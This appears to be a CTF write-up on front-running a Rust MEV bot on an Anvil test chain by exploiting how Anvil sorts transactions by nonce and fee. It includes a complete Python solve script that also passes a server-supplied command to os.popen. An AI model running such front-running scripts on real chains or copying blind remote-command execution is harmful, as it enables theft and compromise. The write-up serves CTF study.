/blog
An Anvil node, accompanied by a reverse proxy layer that disables certain special RPC methods. Upon creation, there will be a Solidity challenge contract that seems very easy to solve.
A Mevbot written in Rust listens for new blocks and pending transactions. Every time you attempt to solve the challenge, it front-runs with double the gas price.
Anvil enabled automining, where each transaction is packaged into a new block. However, in reality, the anvil/crates/anvil/src/eth/miner.rs#L73-L78 shows that MiningMode
is overridden, so the mining strategy actually follows the later IntervalMining
.
Note that the files under the infra/
directory, except for challenge.py
, are consistent with paradigmxyz/paradigm-ctf-infrastructure (no smuggling, lol).
The main problem in this challenge is competing with Mevbot. A similar challenge can be referenced from DiceCTF 2024 Quals misc floordrop..
Although the actual implementation of transaction sorting in the source code is hard to locate, simple tests show that Anvil’s sorting strategy differs from Geth. Geth adjusts nonce
in forward traversal, whereas Anvil sorts by fee first and then adjusts nonce
in reverse traversal like:
nonce 1 0 0
from EOA1 EOA2 EOA1
gasPrice 3 2 1
↓After sort↓
nonce 0 0 1
from EOA2 EOA1 EOA1
gasPrice 2 1 3
Meanwihle Geth (or consensus node in general) would sort like:
nonce 1 0 0
from EOA1 EOA2 EOA1
gasPrice 3 2 1
↓After sort↓
nonce 0 1 0
from EOA1 EOA1 EOA2
gasPrice 1 3 2
This means that we cannot use nonce disorder to move the proveWork(bytes32)
transaction ahead of the Mevbot’s.
However, both Mevbot and the player have a preceding transaction, registerBlock()
, before proveWork(bytes32)
. The gas price for Mevbot’s transaction is not dynamically adjusted (nor should it be), and it subscribes to new blocks to send automatically. If we increase the gasPrice
of proveWork(bytes32)
, we can force Mevbot’s transaction into the the dilemma we encountered before:
nonce 1 0
price higer lower
callfunc proveWork(bytes32) registerBlock()
In this situation, although Mevbot’s proveWork(bytes32)
has the highest gasPrice
in the pending transaction pool, due to the nonce
ordering, Anvil will adjust the nonce
in ascending order, pushing Mevbot’s transaction back. This gives the player a chance to front-run proveWork(bytes32)
.
from pwn import *
import os
import yaml
from eth_account import Account
from eth_account.signers.local import LocalAccount
from web3 import Web3, EthereumTesterProvider
from web3.middleware import SignAndSendRawMiddlewareBuilder
from eth_abi import encode as encode_abi
# context.log_level = 'debug'
def get_uuid():
r1 = remote("claim-guard.wm-team.cn", 1338)
command = r1.recvuntil(b'solution please: ', timeout=4).split(b'\n')[0].decode()
commandres = os.popen(command).read()
r1.sendline(commandres.encode())
uuid = r1.recvline()[20:-1].decode()
r1.close()
return uuid
def setup():
uuid = get_uuid()
print(uuid)
r2 = remote("claim-guard.wm-team.cn", 1337)
r2.recvuntil(b"register)")
r2.sendline(uuid.encode())
r2.recvuntil(b"action? ")
r2.sendline(str(1).encode())
challgreeting = r2.recvuntil(b"---\n")
challinfo = r2.recv(0xb1) + r2.recv(0xdf)
print(challinfo)
data = yaml.load(challinfo.decode(), Loader=yaml.FullLoader)
r2.close()
return data
def query_latest_block(rpc):
block = rpc.eth.get_block("latest")
txs = block.transactions
parsed_txs = ["0x" + block.transactions[i].hex() for i in range(len(txs))]
print(f"-----Blocknumber: {block.number}-----")
for i in range(len(parsed_txs)):
info = rpc.eth.get_transaction(parsed_txs[i])
print(info)
print(f"-----Blocknumber: {block.number}-----")
def pow(rpc, number=2):
list = [
"0x0000000000000000000000000000000000000000000000000000000000002a0f",
"0x0000000000000000000000000000000000000000000000000000000000000479",
"0x0000000000000000000000000000000000000000000000000000000000022c54",
"0x0000000000000000000000000000000000000000000000000000000000005a89"
]
return list[number - 1]
# m = bytes(32)
# n = rpc.keccak(m+bytes(31)+hex(number)[2:].encode())
# while n[:2] != b'\x00\x00':
# m = n
# n = rpc.keccak(m+bytes(31)+hex(number)[2:].encode())
return m
def main():
data = setup()
# data = {'rpc endpoints': ['http://claim-guard.wm-team.cn:8545/CFrDKeIrrzyriyKbuUVGeQid/main', 'ws://claim-guard.wm-team.cn:8545/CFrDKeIrrzyriyKbuUVGeQid/main/ws'], 'private key': 81246467169835778774174079390602428710200832768906685293358686080873952994741, 'challenge contract': 1130960660954871232401997496578636686913975350369}
httprpc = data['rpc endpoints'][0]
wsrpc = data['rpc endpoints'][1]
privatekey = hex(data['private key'])
challengecontract = Web3.to_checksum_address(hex(data['challenge contract']))
assert len(challengecontract) == 42 # 2 + 40
print(wsrpc, httprpc, privatekey, challengecontract)
rpc = Web3(Web3.HTTPProvider(httprpc))
# query_latest_block(rpc)
player = Account.from_key(privatekey).address
chall_addr = "0x" + rpc.eth.get_storage_at(challengecontract, 0)[12:].hex()
print("setup:", challengecontract)
print("chall:", chall_addr)
print("player:", player)
powed = pow(rpc, 2)
############### 2
tx = {
"chainId": 31337,
"from": player,
"to": Web3.to_checksum_address(chall_addr),
"gasPrice": 120000000000,
"gas": 0x60000,
"value": 0,
"nonce": 1,
"data": rpc.keccak("proveWork(bytes32)".encode())[:4] + encode_abi(['bytes32'], [bytes.fromhex(powed[2:])])
}
stx = rpc.eth.account.sign_transaction(tx, privatekey)
hash2 = rpc.eth.send_raw_transaction(stx.raw_transaction)
print("0x"+hash2.hex())
__import__('time').sleep(1)
############### 1
tx = {
"chainId": 31337,
"from": player,
"to": Web3.to_checksum_address(chall_addr),
"gasPrice": 130000000000,
"gas": 0x60000,
"value": 0,
"nonce": 0,
"data": rpc.keccak("registerBlock()".encode())[:4]
}
stx = rpc.eth.account.sign_transaction(tx, privatekey)
hash1 = rpc.eth.send_raw_transaction(stx.raw_transaction)
print("0x"+hash1.hex())
############## 4
# tx = {
# "chainId": 31337,
# "from": player,
# "to": Web3.to_checksum_address(chall_addr),
# "gasPrice": 8000000000,
# "gas": 0x600000,
# "value": 0,
# "nonce": 2,
# "data": rpc.keccak("proveWor(bytes32)".encode())[:4] + encode_abi(['bytes32'], [bytes(32)])
# }
# stx = rpc.eth.account.sign_transaction(tx, privatekey)
# hash4 = rpc.eth.send_raw_transaction(stx.raw_transaction)
# print("0x"+hash4.hex())
############### 3
tx = {
"chainId": 31337,
"from": player,
"to": Web3.to_checksum_address(chall_addr),
"gasPrice": 1000000000,
"gas": 0x60000,
"value": 0,
"nonce": 2,
"data": rpc.keccak("claimLastWinner(address)".encode())[:4] + encode_abi(['address'], [player])
}
stx = rpc.eth.account.sign_transaction(tx, privatekey)
hash3 = rpc.eth.send_raw_transaction(stx.raw_transaction)
print("0x"+hash3.hex())
# query_latest_block(rpc)
__import__('time').sleep(10)
print(rpc.eth.get_transaction_receipt("0x"+hash1.hex()))
print(rpc.eth.get_transaction_receipt("0x"+hash2.hex()))
print(rpc.eth.get_transaction_receipt("0x"+hash3.hex()))
block = rpc.eth.get_block("latest")
txs = block.transactions
print(txs.index(hash1)+1, txs.index(hash2)+1, txs.index(hash3)+1)
if __name__ == "__main__":
main()